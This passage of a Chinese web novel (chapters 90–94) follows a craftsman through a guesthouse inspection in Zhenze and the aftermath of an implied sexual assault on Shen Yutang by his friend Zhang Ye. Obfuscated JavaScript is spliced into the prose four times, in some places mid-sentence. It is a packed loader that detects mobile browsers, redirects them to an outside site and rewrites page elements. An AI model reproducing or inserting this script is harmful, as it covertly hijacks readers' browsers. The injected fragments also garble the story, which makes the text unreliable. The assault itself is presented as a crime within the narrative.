“那现在到底......是什么情况?” “只有你成为她的爱人,才会逐渐察觉到那份偏激。所以我常说,这类患者很少能走入婚姻。而命运的巧合恰恰在于——他们往往又是最渴望婚姻与稳定生活的一类人。” 此时另一边都一点钟了吧? 她的时差还没倒过来,语气里带着一丝不易察觉的疲惫: “这些......我们之前都说过了。” “是啊,最近两年,我们把能聊的都聊尽了。” 梅兰妮的目光里带着包容: “情况仍是那个情况,方案还是那套方案——不要欺骗,不要隐瞒,给她足够的安全感。如果能遇到一个人品可靠的男人......”她顿了顿,摇头道,“概率很小。你知道她上个月刚来时的情形吗?” “什么情况?你上次只说......她情绪有点不稳定。” “对,情绪不稳定。我当时没告诉你的是,杨和超市经理发生了争执——她自带了一套砝码秤,去称超市已经标好重量的包装蔬菜。结果一整排称下来,发现每一袋都有误差。” “......这顶多是消费者维权吧?较真也算做了件好事。” “不,我亲爱的顾,”梅兰妮注视着她,声音平稳,“那天是我去警察局保释的杨。在中国,这大概会被称作‘寻衅滋事’。幸好上帝保佑,老板只是将她列入黑名单,没有坚持起诉。” “什么?怎么会......” 杨灵可是从小到大都讲道理的人啊,被人列入黑名单?还差点被起诉? 顾南乔一时语塞,忍不住偏头咳了起来。 对方等她缓过来,才缓缓问道: “顾,一磅,具体是多重?” 顾南乔报出一个数字。 “那么,比这个数字多出零点一,或少零点一,还能算是一磅吗?” “你是说......” “她要求一磅就必须是一磅。多一丝,少一毫,都不行。”梅兰妮轻轻叹息,“简直像个有精神洁癖的极端清教徒......她是不是在感情里受过欺骗?” 有精神洁癖的极端清教徒? “...” 此中太多孰是孰非参杂,怎是一句两句能轻拿轻放的。 有时候问而不答,便是答了。 “如今靠谱的男人实在太少了。”女人的声音依旧温和,却带着不容置疑的专业判断,“就她目前的状态,我这边不建议她继续尝试建立任何亲密关系。” 第九十章 好人 ‘昨天有个男生想表白,我有所察觉后提前打断了施法......怎么样,我是不是人很好~’ ‘你会不会自作多情了,人还没表白呢。’ ‘自作多情也无所谓啊,我只是一个不忍伤害对方的善良女人,难道不该被夸吗,哥哥。’ 我也想做个好人......但好像得不到你的夸奖了。 他是被梅丽华电话吵醒的,也就是花店老板娘,苏棠的母亲。 “妈妈,这么早,我当然没精神啦。” “哪有哭腔啦,我就是困......” 另一张床上,陆砚静静听着对方压低声音通话,全然不知该不该‘醒来’,醒来又该说什么话。 深夜一男一女投宿,到底还是没能逃过‘只剩一间房’的都市魔咒。 当然,什么也没发生。 事实上,刚进房间苏棠就病恹恹地连一句完整的话都说不出来,非要他再三保证绝不越界,才敢关了灯、摸黑溜进浴室洗漱。 “嗯嗯,我一定好好学习,将来当官了照顾咱们家的花店。” 她轻声笑着,嗓音自带感染力,让人忍不住也想跟着扬起嘴角。 小姑娘是个心思细腻,还十分会照顾周围情绪的人...... 他很心痛。 原来这就是当好人的代价。 “......好好学习之前,我先帮你买份早餐吧。” 这是两人头一回在清晨聊天,还是距离不到八十公分的床上。 被子盖住了半张脸,她沉默一会,闷声说: “陆砚,你现在能不能去民宿帮我收拾东西......一会直接去火车站。” 即使对方带了一整箱的行李,即使自己不久后也要回上海,此时道别也在意料之中。 甚至,本以为昨天就会分开...... 他现在要做的是,好好把对方送去火车站。 反复确认苏棠不会突然离开,才摸黑起身,穿衣服出去。 出门前,两人隔空看了一眼,借着光,只露着一双眼睛的她,是那样安静。 打车去烧烤店,开车回到民宿将近八点。 进门,便撞见店门口的老板娘。 “陆师傅,昨天玩得怎么样?女孩子们是不是喝多了?” 度过了一个月的非营业期,她眼里的疲惫消减不少,竟能从中看出几分诚心的热络。 “是的......但总体来说还是开心的。” 是开心的吧? 毕竟有苏棠在的局面,开心都快成刻板印象了。 “哎呀真的谢谢你帮语棠也过了个生日,我看,以后干脆认个大哥好了呀!” 对方说着,又问‘要不要喝水’云云,陆砚则投桃报李,说‘今天下午就去把招牌做好,争取明天审核的时候一切都是最好状态’。 时间果然是最好的塑形剂,无声修正了多少人与事。 踩上修缮过的楼梯,声音‘闷’了不少,板材显然比之前更厚实,更承重。 毕竟之前沈秀娥就讲过让她忐忑的经历——一个一米九的大只佬拧着齐她肋骨高的大号行李箱踩上楼梯时,每一步,眼皮都跳...... 嗯,注意力分散后确实有助于心情回调。 摸出苏棠给的钥匙准备开房门时,楼梯口,顶着鸡窝头的冯小军突然冒出来: “陆哥,怎么了?” 怎么了...... 陆砚含糊道:“什么怎么了?没事啊,帮苏棠收拾东西她一会火车。” 有些事情,并不适合多说。 “你们俩,昨天在一起?” “嗯......她脚崴了,我们就没回去。” 冯小军直直看过来,盯得他发毛,带着一种和往日形象相违和的阴翳,陆砚忙解释道: “小妹妹娇气,我把她安置在酒店呢。” 果然,‘小妹妹’这种一定程度能传达‘我对她不感兴趣’的暗示词,对方收了表情,随即,他握着扶手,低声道: “我也要回去了,学校催得紧。” 陆砚愣了愣,感觉语气有些不对劲,却也没阻拦。 工程已近收尾,明后两天验收完,他自己也打算待几天、结完款就离开。 只是三人一块来的,走时只有他和张野,还是有点唏嘘的。 “不跟你张哥说一声?” “不了。” 拍了拍他的肩膀,收拾完东西,两人一起去镇上找苏棠。 ...... 酱鸭面、水潽蛋茶,火车站旁的震泽特色小吃店里,三人各点了一份。 此时已不在意贵不贵、味道好不好,陆砚心不在焉吃着,注意力一时落在桌对面苏棠无精打采的眼睛上,一时又飘向窗外嘈杂的人声。 时间就这样一点点磨了过去。 起身的时候,意外发现几人餐盘里的食物几乎没怎么动过。 苏棠和自己尚有原因,冯小军可就罕见了呀。 “咱们该说不说还是挺默契的,连剩饭都整齐划一。” 许是因为三人之中没有一个擅长告别,离检票还有半小时,他们就匆匆挥手进站。 女孩的背影逐渐被吞没在检票口。 她略显苍白的脸,总在不经意间戳中男人心里最柔软的地方...... 可苏棠,却是他认识的人中家庭最幸福的一个。 才二十出头的年纪,这样的经历迟早会淡去——甚至注定会被淡去。 年轻的灵魂总是炽热的,几乎能消化一切痛苦,不是吗? ...... 土黄色的沙堆摊在路边,村落的轮廓渐次清晰,路面也窄了下来。 回到民宿,车刚停好,沈秀娥便热情打招呼: “昨天玩的开心不?” 他愣了愣。 早上不是才问了啊? 这是致敬土拨鼠之日?还是有大能施以魔法,让小镇的时间陷入了循环? “还行啊......” 好在她话风一转,打破了循环魔咒: “两个小姑娘呢?怎么还没回来?” 对方的热情之下,眼里藏着锐利。 他随即反应过来——语棠昨晚好像也没回来。 心里波涛开始翻涌,但面上不显,说: “没事,喝了点,让她多睡会。” 见状老板娘才笑着点头,拉着开始说招牌的事。 陆砚心不在焉的回应,等人一走,当即给张野打去电话。 “陆哥,我把语棠送酒店去住了,午饭不吃,下午再回来。” 听到张野平静的声音,才放心下来...... 不过他平时不都喊‘沈妹妹’的吗? 大概是跟着自己改了口。 也罢,该去王师傅那儿继续做招牌了,最好赶在明天之前,把一切准备妥当。 第九十一章 浅薄的人 王师傅这才慢慢咂摸出味儿来,原来这位从上海来的陆师傅,是对沈秀娥家的女儿有意思。 村里早就传开了,说沈秀娥招了个模样不错的新女婿,没成想还真是他。 “又是送手串又是做招牌的,你小子,肯下功夫。” 提到手串,陆砚眼神一黯,没说话,吭哧吭哧埋头打磨。 土坯房外临时搭起两张长桌,拼成宽大的工作台,一块精选榆木招牌已经刻好了字,正在做最后的找平。 屋外沙沙声和屋内成片的沙沙声完美呼应、相融。 木匾招牌并非外人想象中那样,随便找块木头刻几个字就成。 我们姑且假定木料选得合适、字体设计与转印步骤都已妥善完成,单是沿着字迹将每一个笔画精准地刻出来,就得花至少六个小时。 反复精细打磨后,刷漆最少三遍。 待漆面干透,若要与店面整体风格统一,还需特意做旧,再次打磨出岁月痕迹—— 这样一块定制牌匾,外面请人做得花上好几千......用流水线批量的又怕影响补贴申请,因此老板娘一直没舍得装。 眼下这块刻着‘桑园小筑’的门匾是前两天商讨的结果,既能体现蚕桑文化,又不至于过于抬高期待。 低调很重要。 要知道,他们第一次来、看到周边景象的时候,可是打道回府的心都有了,来赚钱的都如此,游客对其忍受度还得降一个档次。 在‘或许几年也未必会重游’的未来里,陆砚所期待的是: 这个倾注了他心血的‘桑园小筑’,能如沈语棠一般,安安静静伫立震泽一隅,过着平淡却温馨的日子,与世无争,自成风景。 “陆师傅,又来了嘿!” 这时,六子领着一个半大男孩过来,说是隔壁家送来学手艺的。 看来是打算从小培养,吃定这碗手艺饭了。 王师傅摘下眼镜,用干瘪的手掌捏了捏男孩的肩膀,简单问了些情况随口问了些‘你父母是不是打工去了’、‘爷爷奶奶叫什么名字’,就收下了。 陆砚投去礼貌而略带疑问的目光。 老人笑呵呵地让六子带着先去熟悉熟悉,随后走过来,对看似草率的行为,给出的解释是: “老了,能为村里做点事,就做点,能帮村里带来点受益,就再好不过了。” 人们常说乡土情怀,多是身处异乡、因距离而生的感怀。 而王师傅这般沉默的坚守,比起海外游子的乡愁,半点不逊色。 陆砚想到了公司与之合作的可能性...... 可现在讲不就是画饼? 忍了忍,没说话。 很快,下午过去了。 ...... 苏棠比想象中要伤心一些,却也没有小说话本里写的那般撕心裂肺。 大概就像‘辛辛苦苦在老洋房实习了三个月,老板却不肯发工资、也不给开实习证明’那样,委屈又懊恼。 而且,自己本来也不是真心喜欢陆砚,不是吗? 一开始只是为了验证自己的魅力,把他当磨刀石磨刀罢了。 后面,大概是女人的竞争本能,看到别的优秀女人在抢,于是自己见猎心喜,在一个自以为天赐的时机出手,却以失败告终,而已。 苏棠,抛去生理性冲动,其实喜欢一个人没那么容易的...... 要花好多好多时间了解他的三观、喜恶,要一起走好长好长的路,感觉相处自在融洽,才算得上一点点喜欢。 何况喜欢一个人,也要接受对方不喜欢自己,这样才算真心。 自己那么浅薄,压根当游戏在玩,就没认真的好吧? “咔嗒!” 方霖回到宿舍,身上的香水味先一步进来,随后才是惊讶口吻: “诶?棠棠,你不是去找你家哥哥了吗,这几天有没有爽到?” 苏棠的行李箱还没收好,随意堆在床铺下面,显然,这个大物件的收理要很长时间。 她张了张嘴,本想说‘分手了’来圆谎,却始终觉得这三个字过于沉重,会影响一整天的心情,于是说: “哥哥中看不中用,睡一个房间也只能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16393800|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弄得我一身口水,无趣得很。” “咦惹~我觉得......这也不错啊!” 此刻,是女士的私密聊天,等出了这个房间,她们依然是清纯女大,面对男孩子说荤话,绝对脸红的那种。 笑闹持续一段,室友陆续回来,又把热闹延上来。 “叮——” 正当社交苏四处播撒欢乐段子时,特别提示音刺破她精致完美的面具。 墨斗先生:到家了吗,是否平安? 眼泪划过脸颊。 哎,丢了面子,真的好伤心。 ...... 不那么遮光的窗帘或许并不全是坏处。 清晨,二十九号。 陆砚一想到这个数字就下意识意识到,自己正在朝二十九岁迈进。 年龄焦虑恐怖如斯。 早上起床,二十八年的记忆灌入脑海,陆砚又成了陆砚。 接下来,他犹豫着要不要继续写邮件。 就像明知道不该再碰甜食的人,却反复路过最爱的那家蛋糕店——既渴望那份熟悉的甜蜜,又怕一时冲动之后,只剩下懊悔和自责。 虽然内心煎熬,但仅仅只是写下那些想说的话,本身也带着某种难以言喻的慰藉。 最终写了一段,没有发。 今天是审核的日子,也是补贴发放的关键一环,由地方文旅局派人来验收。 因此早起是必要的,谁叫他的经济账已经和这家民宿——不,是和‘桑园小筑’——紧紧绑在了一起。 洗漱完,那个会拿着衣篓准时推开房门的小姑娘并没有出现。 事实上,昨天一整天陆砚都没看到她。 只是在一直以来都会见面的点,隔着门,听到她说‘不想吃晚饭’。 那时,男人明白了‘家长看到青春期的孩子有心事’的担心,以及‘孩子不想吃饭’的焦急。 而对此张野的说辞是,‘她喝多了,胃不舒服’。 同时对着老板娘补充道,‘已经帮忙去医院买了药’。 这听完让人更担心了好吧! 总之,先应对好检查吧。 第九十二章 鹤的哀鸣 “申报方案中提到的非遗相关设计,在实际施工中是否完整落实?是否存在任何删减或简化?” “没有。”他答得干脆,桌角是动工前交上去的装修档案。 “施工对接人是否全程参与了装修过程?对关键工艺环节采取了哪些监督措施?” “全程参与,所有环节都有拍照记录。” 陆砚又一次和文保局的人打上了交道。 来的三位工作人员统一穿着深灰色制服,脸上没什么表情,严谨得让他想起第一次见到杨小姐的场景。 流程和预想的差不多: 先对照申报方案逐一问话,确保装修没有偏离原计划;再坐下来仔细查验工匠资质证明、材料采购单等各类凭证。 只是对方问得比项目本身还要细致,陆砚的每一句回答,也都不自觉地往‘合规’的方向多绕半分。 譬如所谓‘非遗相关设计’,简单理解成‘王师傅专门为此定做的工艺品’,倒也说得通。 还有申报时承诺不使用‘化学漆和人造板材’,他们也确实做到了—— 压根没上漆,自制家具全是原木拼接的,怎么不算是‘依照方案完整落地’呢? 先前有别家民宿走过这流程,就像照着抄作业,同一份‘考卷’,总不能答出两个结果。 当然,最后认不认可,还得看人家怎么评定。 大厅里,两位工作人员正一页一页核对着档案内容;张野则领着随行专家上二楼,实地查验木料和细节。 沈秀娥站在一旁,本以为是走流程不想场面竟然如此严肃。 还想按待客的规矩请人坐下喝茶,可…… 俗话说‘礼多人不怪’,若是招待多年未见的亲戚,她倒敢拿‘俗话’说事。 幸好有陆砚在前应对,没半句寒暄、没一点绕弯,几人一进门就直奔主题。 明明是自家的民宿,在审核时,她却连句话都插不上,只能偶尔递个剪刀、翻个档案页。 还是有个能扛事的男人好...... ...... 小黑:老板,我今天从早跑到晚,九九六的福利这周我吃了将近一半(苦笑.jpg)。 小黑:现在基本上所有证件我都申请了,不算过年放假,最迟两个月左右就能下来。 问,一个雇佣关系为什会往甲方倒苦水? 核心指向是得加点钱。 第一天验收完毕,三位同志坚持不用老百姓破费、连午饭都没吃就匆匆离去了。 陆砚心情还不错,科学表明,心情好的时候废话多,于是墨斗先生回道: 那为什么不在群里说,而是要私下问我要呢? 顾南乔......她肯定不是不讲理的人,也不知道什么时候会把自己放出黑名单。 对面似乎耗子碰见了猫,立马绕道,走了博同情的路线。 小黑:我哪知道您年纪轻轻的就要弄般这么复杂的公司,当时你不是赶火车吗,我就想着快点签合同...... 墨斗先生:快点签合同真不是怕鸭子飞了? 这一逗,对方打字速度都快了些: 小黑:真不是啊。这不俗话说的好吗,出来混,总要讲点义气,那史书也讲了,讲义气总归是有善缘的,所以我觉得我还能挽救一下。 一个公司最重要的是把业务开展起来,而开展古建工程这种级别的业务,拿到资质是最难的。 也就是杨老头能一次性请到那么多业内人士—— 有同济、复旦的教授,上海市文物建筑研究设计院的,还有博物馆建部工程师,这些人若要细数职称、称号,还得单独列个表。 记得信息发过来的时候,陆砚是那般心潮澎湃,更别提汇聚了这么大佬的公司、要由小黑一个人亲自跑通的难度是有多大了。 墨斗先生:这次不是野史了? 正好小黑跟自己汇报,自己有空跟杨老头汇报一下,这个习惯很重要—— 大佬都不知道你的情况,叫人怎么帮你? 额,自己不是大佬,所以对方想要拿到大笔资金是很难的。 小黑:别调侃了,这样,我不多收,加一千就行,以后我们长期合作(拱手.jpg)。 陆砚想了想,痛快答应。 ...... 张野也是有够无聊的,居然跟沈秀娥混一块去了,说是报喜,两人往南浦浜村串门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16393801|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不知道几时回来。 苏州的冬,透着江南独有的清冽。 阳光斜落,粉墙黛瓦浮着一层薄银。 这样睡意全无的午后,沈语棠终于从房里走了出来。 一整个上午都在赖床,简直被某棠附体了。 “沈老师,有时间上课不?” 看到对方身上那身月蓝色的小夹袄,陆砚便想到之前把人怼到自闭...... 于是想着今天放放水,顺便给点奖励,庆祝今天‘一审’顺利。 可她就那么沉默地站在原地,盯了三秒、五秒...... 这停顿在一场对话里,长得令人心慌。 陆砚原本扬着的笑意,也一点点淡了下去。 女孩子嘛,一个月总有那么几天。 “听说睡觉比走路还耗体力,我怎么觉得两天没见,你好像,瘦了?” 男人说着,目光骤然定住—— 蓝色夹袄领口处,白而纤细的脖颈上,有一块乌紫的斑。 蚊子咬的? 可是,冬天哪里还有蚊子。 “陆哥。” 她抬起头,眼底泛青,眼中碎光颤动。 那张素净的脸被恨意拧变了形,像一张被狠狠揉皱又展平的纸,白纸上,还被人拿来擦了灰。 前夜的风徐徐被清冽阳光送过来,毛孔瞬间收缩。 一个恐怖的念头猛地攫住喉头。 陆砚喉咙发紧,发不出声音。 不敢再看,却仍清晰感觉到—— 她在恨。 恨是一片黑色的空间,陷进去,陆砚看到,一个女人哭过,叫过,无人听见。 像有什么东西从内部撕扯着她,滚烫而钝痛,一路延到四肢百骸。 她觉得自己在碎裂。 在颤抖中,她赤裸地被迫发出一声鹤的悲鸣,接着便像**般坠落了下去。 她怨他。 怨他的疏忽,恨他的缺席—— 原本干净得像初雪的人生,被一脚踩污了。 “谢谢你帮我过生日。” 沈语棠扶着墙,一步步挪回房间。 房门‘砰’地撞上。 那声响像冰裂,像骨碎。 他的心彻底沉了下去,也重重摔碎了去。 第九十三章 你也来散步啊 长久的沉默中,通话时长还在一个数字、一个数字往前走。 电话那头的冯小军点燃一支烟,烟雾聚了又散,如同他二十七号夜晚再次浮现的记忆—— 炭火正旺,吉他声欢快,众人围在烤架旁烤肉、打拍子。 陆砚和苏棠走后,三人便挪到室内,摆上小蛋糕,继续喝酒。 “碰!” “碰!” 又是一口下肚后,张野趁沈语棠闭眼许愿的时候,使眼色,眼里浮现‘男人互帮互助’的眼神。 他当时看到,只觉得对方是小丑——即使再献殷勤又有什么用?人家一看就对你没意思啊。 见惯了校园舔狗的他,在对方的眼色下,确认沈语棠还保持清醒,并且微信上给陆砚说了声,才独自返回民宿。 之后的事情便一概不知。 回民宿的后半夜,直到将要睡去也没听见外面一点动静,才发现几人没回来。 发信息,没回,打电话,没接。 当时是什么感受呢? 有过一瞬间,心里开始打鼓,不好的想法开始往外冒。 三点多钟,他想了想,觉得是自己阴暗了——场上不是还有两人呢吗。 直到第二天,发现陆砚回来,他试探问昨天情况,确认张野和沈语棠单独在一块...... 于是他说,‘我也走,家里催’。 ...... 口中的烟雾还在冒着,这烟雾像厌恶,他一个劲地往外吐。 此时电话里,冯小军又从陆砚口中确认了些细节,猛吸一口,将烟蒂死死踩在脚下碾熄。 话到嘴边,那几个字烫嘴,更烫心: “你是说,可能、发生了......” “我不知道,发生了什么。” 对面男人装糊涂的声音远比想象中的让人失望,希望落空后的愤怒又远比想象中的猛烈。 不知道? 你站在她面前,看到她颈上的痕迹、眼中的恨意——你说你不知道? 一阵酸水翻涌而上,几乎要吐出来。 在那之前,他吼了出来: “不知道发生了什么?你都看见了!你怎么能不知道!” 对面的呵斥像沈语...... 像受害者无声凝望的眼神,他们曾把信任交到自己手中,而自己一个没拿稳,全给摔碎在地。 这能怪他吗? 可以的。 或许不是自己的缘故,沈语棠明知自己酒量不好的情况下,压根不会和一群男人外出喝酒。 如果那天没有提前离开,如果坚持送她回房...... 陆砚痛苦闭上眼,试图抓住最后一丝侥幸: “兴许,没有那么糟糕。” “没那么糟?陆砚,陆哥,你还在替那个**辩解?那他妈不是**是什么?!” 对面喘着粗气,陆砚也大口喘气,整只手掌都在发抖。 那两个字是酸的。 不然,为什么,他的胃如此抽痛。 “陆哥,这是我最后一次叫你。工资我不要了,以后也别联系我。这事,与我无关。” “嘟嘟嘟——” ...... 看似平整的路,只有踩上去才知道有多粗糙: 干枯的杂草、凹凸的缺口,丑陋的耦合,交错蔓延。 长夜,男人独行于连落叶都不愿停留的荒径,思绪停滞,只余无边情绪如潮水将身躯吞没。 他好像失去了什么,又似乎从来不曾拥有,就像暮色中点燃的一簇火,转瞬被风吹熄。 第一次见张野,是在校外跟杨老头跑实训。 一个十九岁、对世界充满野心的大学生,遇见十七岁、在工地做日结眼里有光的少年。 他们有相似的眼神,却半句话没搭上,各自做事。 后来啊,一个到了二十八岁,一个将近二十六。 这些年来陆砚看惯了人来人往,唯有张野始终在身边,就像离开上海那晚,他问‘要不要跟我出差’时那样毫不犹豫,对方亦是毫不犹豫跟他来了苏州。 可如今还能有什么逻辑可言? 先做什么、后做什么,得出结论、等人打分? 从未预料的事就这样砸在身边,一切经验,皆成空白。 纵然是常胜的凯撒,没有拉比恩尼斯亦难言必胜,何况陆砚——他身边的人一个个离去,此时又有谁能在旁出谋划策?家人?朋友? 那**似的自尊心还在作妖,它说‘男人走投无路的时,不要向其他男人示弱求助’。 一棵枯树下,荒草微动,枯枝无声。 他发消息给顾南乔,拉黑。 打电话,拉黑。 风卷起尘土,转了一圈,又狠狠摔回地上。 ... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16398579|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ... “砚哥,现在对你来说,最重要的事是什么?” “不知道。” “你的规划是什么?” “不知道。” 陈禹放下雪茄,咂了咂嘴: “哥们,我已经知道你有多乱了。庆幸你还能说话。” “我......现在应该做什么?” 声音软弱得令他自我厌恶,连带着也恨起突然拉黑他的顾南乔。 电话那头,陈禹语气斩钉截铁,坚定得像在性别栏填下自己的性别: “撇清关系,离开苏州,专心替杨老头做事。” 他还补了一句:“人摘干净就行,身外之物,要不要无所谓。” “哦。” 陆砚已无力分析对错利弊,机械地应声,挂断电话。 独自走着,通话之后心口的堵塞并未消散,焦虑反而更重。 “沈姐,你说是不是有个小伙子在旁边方便?就人家送白菜,都一次性多送了些。” “是的是的,可惜白菜不能给小伙子酿酒,不然酒还能给你便宜点!” 窄路那头,迎面走来怀抱白菜的两人。 沈秀娥曾说过,震泽的甜白菜品质极好,平时卖两块一斤,紧缺时能涨到三块。 就是这样一位节俭的寡妇,独自将沈语棠拉扯大——月月三千的材料费送她学艺四年,穿几千块的定制衣裳,让这朵花开得洁净、纯粹...... “唷!小陆,你也出来散步呀!” “嗯。” “夜钩凉了喏,注意别感冒了......不过你比我家丫头身体还是好些的......” 隔着一筐白菜,隔着一片夜,他看到张野脸上是一副‘陆哥你也出来散步啊’的无辜表情,又目送急着安置白菜的两人匆匆离开。 怎么办...... 一股冰冷的怒意陡然窜起: 他恨张野的卑劣,恨自己的后知后觉,更恨这命运竟将最肮脏的算计掷向最洁净的人生。 他几乎要握紧拳头冲上前去,却在下一刻被深深的无力感摁回原地——最麻烦的,还远没到来。 最终,所有激烈的情绪都沉淀为死寂的平静,一片废墟。 他是如此想念曾在身边的人。 如果,苏棠是在此时表白,那他会像挽回自己生命一样、急切和她亲吻在一起。 第九十四章 寂静的早餐 早晨没听见鸟叫,不会再有人来敲门,轻声喊他‘陆哥’。 明明有大把时间琢磨事,陆砚却把**统筹法忘到一边,就那么漫无目的地愣着。 浴室刚铺了新地砖,砖缝间的倾斜大概三度,墙面防水涂料二十五块钱一平米,今天二十九号,他偏不想面对这新的一天。 门外有核辐射吗? 他轻推开门,皮肤并没有明显不适,直到踩在楼梯上是如此。 “小张,后院用废砖铺条路行不?” “沈姐,准行!” “还是老师傅靠谱......之前那个小师傅,干活总带着不情愿。” 脚踩在楼梯上,闷响在耳边绕,灶房的对话安安静静的,之前那点恶心的揣测,像个幻觉。 普希金曾说过,假如生活欺骗了你,不要悲伤不要心急,因为忧郁的日子里须要镇静,相信快乐的日子将会来临。 此时应该镇静,应该相信日子会快活起来吗? 陆砚依然不知道该如何击碎这祥和的日子,但他的耳朵能听见,眼睛能看见,女孩遥远的呼声。 眼前所有的正常,都因为一个无辜在房间无声的压抑、忍耐,才撑起来...... 一定要坦白,尽管有些迟,一定要坦白。 要让该来的到来,不管生活是否欺骗了你! ...... 白茫茫的雪淹没了整片草地,但BailingGarden(百龄园-墓地)之内因其高昂的维护费而井井有条。 成片的大理石墓碑卧在积雪里,碑面刻着的生卒年份与短句——LovedHusband,Father.RestinPeace。 顾南乔替杨灵撑伞,风裹着雪粒粘在围巾上,两人并肩踩出一排痕印。 每每来到此处都会感到唏嘘,尤其不经意看见杨灵平静的脸庞陷入沉沉的思念时,她便会一阵揪心。 这种感觉应是扎根在人的本能层面,凡看到此画面的女人,无一不会激发自身的母性,意图安抚对方。 “灵灵,阿姨那边还好吗?” 声音裹在风里,飘出一团白雾,她下意识把杨灵的围巾又拢了拢,遮住她半张脸。 碑前有鲜花,它似乎能抵御一些心灵的寒冷。 “......她有自己的家庭。” 亲生母亲有自己的家庭,是最好的抑郁引子。 她看着碑上父亲的名字,居然能懂对方那种‘不想打破现有安稳’的心思 至于顾南乔呢? 她能理解,甚至能共情。 “确实,老顾现在就住在......我第一任后妈家里,过年我都不知道该不该去。” 风忽然紧了些,把远处铸铁围栏上的圣诞彩带吹得哗啦响。 几缕发丝从厚厚的围巾下跑出来,时不时舞动,就像曾经绝望的人、如今坦然而轻松的说: “乔乔,要不和我一起......” 每个人都由一张白纸长成,每个人的性格都有迹可循,可这痕迹随时间拉长,就变得琢磨不定、人与人之间难以理解了。 所幸她们从小长在一起,一路陪伴过来,清楚地知道对方的本真。 顾南乔立刻搂过来,将发自本能的爱藏在风雪中,将一片悄默声的温暖,裹在冰雪里: “宝贝,我们必须在一起。你是我自己选的、永远不能割舍的家人......比老顾还亲。” 杨灵点点头,鼻尖蹭到对方的围巾,突然闻到她带来的上海雪花膏的味道,开始愣愣走神。 “你知道的,抑郁症最好的解药就是信任和安全感,小妞,要全身心信任我,知道吧?” “我一直都信任你。” 一粒雪落在顾南乔嘴边,奇怪的是,因着它的冷,而察觉自己的滚烫。 没有人不希望被人全身心信任,就像雪需要大地托着,候鸟需要天空接着,这种被需要的感觉,就是最好的、活着的证据。 “灵灵真乖,来,我代替叔叔奖励嘴一个!” 另一个立于风雪中的女人扭头,让她的唇碰在自己的脸颊上,笑得很开心。 ...... 大厅里摆着长桌,六把椅子分围桌旁——两把藤条的,四把榉木的,所有椅背都做了加固。 六人分坐两侧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16398580|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为首的深灰制服人员先开口,语气平稳无波: “经核查,各项指标符合验收标准,申报方案基本落实。” 这就是公事公办。 专家能一眼看出细节里的疏漏,也能察觉陆砚这边藏的敷衍,但他们是程序执行者,只对既定指标负责。 意料之中的答案不会让陆砚长舒一口气,在应对后续交涉中,他的视线余光却是不断往右侧瞟—— 沈秀娥阴沉着脸,从头到尾一言不发。 昨天她还拘谨着,时不时起身倒茶陪客,今天像换了个人,周身的冷意,像上门催债的。 但此刻他无暇揣测更多。 “我们现在推行高效率政务服务,审批流程已简化,但质量是核心,这个标准绝不降低。” 深灰制服补充道,四十岁上下的年纪,肩线挺括,胸前工作证的塑封反光。 “应该的。” 对方又按流程告知:“一年后会组织复检,相关要求后续会发书面通知。” 话落便起身,一行人收拾好材料,马不停蹄往门外走,正如他们说的,简化环节、提高效率,确实是利民的政策。 车子引擎发动,随着一行人离去,也到了午饭节点。 沈秀娥破天荒没去灶房生火,径直走向房间,敲响了房门。 “沈语棠,开门!” 对方并不高挑的身材站在房门口,手掌‘砰砰’的砸门。 陆砚突然一阵心慌,随后,脸颊火辣辣的烧。 或许这个午后将会有另一个系统的公务人员将两人带走,对他们进行另一套系统的盘查拷问。 或许被反复揭露伤疤的女孩会再次、那样怨恨的盯着他,裹着黑气的恨意,像附在白花上的阴影,能把从前所有的好都撕得稀碎。 他以为自己做好的准备迎接一切审判,此刻却卑劣的希望那扇门永远不要打开。 手脚一阵麻木之际,张野就站在不远处如出一辙地望向门口,脸上是不同于他的平静。 “张野,出来一下。” 他理解了冯小军的割席,因为此时,自己也是如此迫不及待地想与他划清界限。